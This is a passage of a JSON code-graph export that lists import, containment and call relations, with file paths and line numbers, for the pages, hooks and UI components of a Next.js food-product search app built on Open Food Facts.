- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L52",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_nova_ink",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L59",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_nutriletter",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L88",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_nutriscale",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L134",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_novapill",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L177",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_produtopage",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L15",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L15",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_ui_sheet_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "ui_sheet_sheetcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "ui_sheet_sheetheader",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "ui_sheet_sheettitle",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L22",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_filtersidebar_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L22",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_filtersidebar_filtersidebar",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L23",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_productcard_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L24",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_productcardskeleton_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L25",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_donatecard_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L26",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_searchbar_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L26",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "landing_searchbar_searchbar",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L27",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_pagination_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L28",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "hooks_useproductfilters_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L29",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "hooks_usesearchcache_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L30",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "hooks_usestoragemonitor_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L31",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "hooks_usecacheonlymode_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L32",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_cacheonlyswitch_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L33",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_geolocation_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L33",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_geolocation_detectusercountry",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L34",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_cachemanager_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L34",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_cachemanager_filterrecord",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L35",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_types_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L35",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_types_productfilters",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L37",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_openfoodfactsapi_sortproducts",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L39",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "resultados_page_convertfilterstorecord",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L50",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "resultados_page_grade_colors",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L58",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "resultados_page_resultadoscontent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L1068",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "resultados_page_resultadospage",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_sobre_components_herosection_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_herosection_herosection",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_sobre_components_problemsection_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_problemsection_problemsection",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_sobre_components_storysection_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_storysection_storysection",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_sobre_components_missionsection_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_sobre_components_impactsection_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_sobre_components_targetaudiencesection_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_sobre_components_howitworkssection_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L9",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_sobre_components_valuessection_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L10",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_ctasection_ctasection",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L38",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "sobre_page_sobrepage",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/providers.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_providers_tsx",
- "target": "app_providers_providersprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/providers.tsx",
- "source_location": "L9",
- "weight": 1.0,
- "source": "app_providers_tsx",
- "target": "app_providers_themeprovider",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/robots.ts",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_robots_ts",
- "target": "app_robots_robots",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/api/cache/sync/route.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_api_search_route_ts",
- "target": "sync_route_post",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/api/storage-stats/route.ts",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_api_search_route_ts",
- "target": "lib_jsoncachemanager_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/api/storage-stats/route.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_api_search_route_ts",
- "target": "search_route_get",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/api/search/route.ts",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_api_search_route_ts",
- "target": "lib_openfoodfactsapi_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/api/search/route.ts",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_api_search_route_ts",
- "target": "lib_openfoodfactsapi_product",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/api/search/route.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_api_search_route_ts",
- "target": "lib_searchutils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/api/search/route.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_api_search_route_ts",
- "target": "lib_searchutils_sortbyrelevance",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/api/search/route.ts",
- "source_location": "L308",
- "weight": 1.0,
- "source": "search_route_get",
- "target": "lib_searchutils_sortbyrelevance"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CacheOnlySwitch.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_cacheonlyswitch_tsx",
- "target": "components_ui_switch_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CacheOnlySwitch.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_cacheonlyswitch_tsx",
- "target": "ui_switch_switch",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CacheOnlySwitch.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_cacheonlyswitch_tsx",
- "target": "components_ui_label_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CacheOnlySwitch.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_cacheonlyswitch_tsx",
- "target": "ui_label_label",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/card.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "components_ui_card_tsx",
- "target": "components_card_cardprops",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_cardlist_tsx",
- "target": "app_components_listaproductcard_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_cardlist_tsx",
- "target": "components_cardlist_produto",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L15",
- "weight": 1.0,
- "source": "app_components_cardlist_tsx",
- "target": "components_cardlist_cardlistprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L19",
- "weight": 1.0,
- "source": "app_components_cardlist_tsx",
- "target": "components_cardlist_cardlist",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L9",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "components_cardlist_produto",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "components_ui_alert_dialog_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "ui_alert_dialog_alertdialogaction",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "ui_alert_dialog_alertdialogcancel",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "ui_alert_dialog_alertdialogcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "ui_alert_dialog_alertdialogdescription",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "ui_alert_dialog_alertdialogfooter",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "ui_alert_dialog_alertdialogheader",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "ui_alert_dialog_alertdialogtitle",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DonateCard.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_donatecard_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DonateCard.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "confidence_score": 1.0,
- "source": "app_components_donatecard_tsx",
- "target": "lib_utils_cn"
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DonateCard.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_components_donatecard_tsx",
- "target": "components_donatecard_donatecardprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_errorboundary_tsx",
- "target": "components_errorboundary_props",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L10",
- "weight": 1.0,
- "source": "app_components_errorboundary_tsx",
- "target": "components_errorboundary_state",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L18",
- "weight": 1.0,
- "source": "app_components_errorboundary_tsx",
- "target": "components_errorboundary_errorboundary",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L19",
- "weight": 1.0,
- "source": "components_errorboundary_errorboundary",
- "target": "lib_cachemanager_cachemanager_constructor",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L24",
- "weight": 1.0,
- "source": "components_errorboundary_errorboundary",
- "target": "components_errorboundary_errorboundary_getderivedstatefromerror",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L28",
- "weight": 1.0,
- "source": "components_errorboundary_errorboundary",
- "target": "components_errorboundary_errorboundary_componentdidcatch",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ErrorBoundary.tsx",
- "source_location": "L47",
- "weight": 1.0,
- "source": "components_errorboundary_errorboundary",
- "target": "components_errorboundary_errorboundary_render",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_filterbadge_tsx",
- "target": "components_ui_badge_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_filterbadge_tsx",
- "target": "ui_badge_badge",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_filterbadge_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_filterbadge_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_components_filterbadge_tsx",
- "target": "components_filterbadge_filterbadgeprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L40",
- "weight": 1.0,
- "source": "app_components_filterbadge_tsx",
- "target": "components_filterbadge_filterbadgesprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L127",
- "weight": 1.0,
- "source": "app_components_filterbadge_tsx",
- "target": "components_filterbadge_getfilterlabel",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterBadge.tsx",
- "source_location": "L146",
- "weight": 1.0,
- "source": "app_components_filterbadge_tsx",
- "target": "components_filterbadge_getfiltercolor",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L34",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "app_components_filterbadge_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L19",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L19",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "components_ui_input_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_input_input",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L21",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_checkbox_checkbox",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L22",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "components_ui_radio_group_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L22",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_radio_group_radiogroup",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L23",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "components_ui_switch_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L23",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_switch_switch",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L24",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "components_ui_slider_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L24",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_slider_slider",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L25",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "components_ui_accordion_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L25",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_accordion_accordioncontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L25",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_accordion_accordionitem",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L25",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_accordion_accordiontrigger",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L31",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "components_ui_badge_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
